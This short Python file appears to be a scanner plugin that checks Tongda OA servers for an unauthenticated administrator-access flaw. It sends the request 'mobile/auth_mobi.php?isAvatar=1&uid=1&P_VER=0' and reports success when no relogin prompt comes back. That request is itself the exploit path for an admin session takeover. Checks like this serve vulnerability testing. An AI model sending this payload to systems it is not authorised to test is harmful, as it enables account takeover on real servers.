#!/usr/bin python
from plugins.config.config_package import *



class Tong_da(object):
    def unauthorize(url):
        path = 'mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0'
        res = core.get(url,path)
        if res.status_code == 200 and 'RELOGIN' not in res.text: 
            core.checksuc(target=url,name='通达OA管理员未授权访问',payload='mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0')
        else:
            pass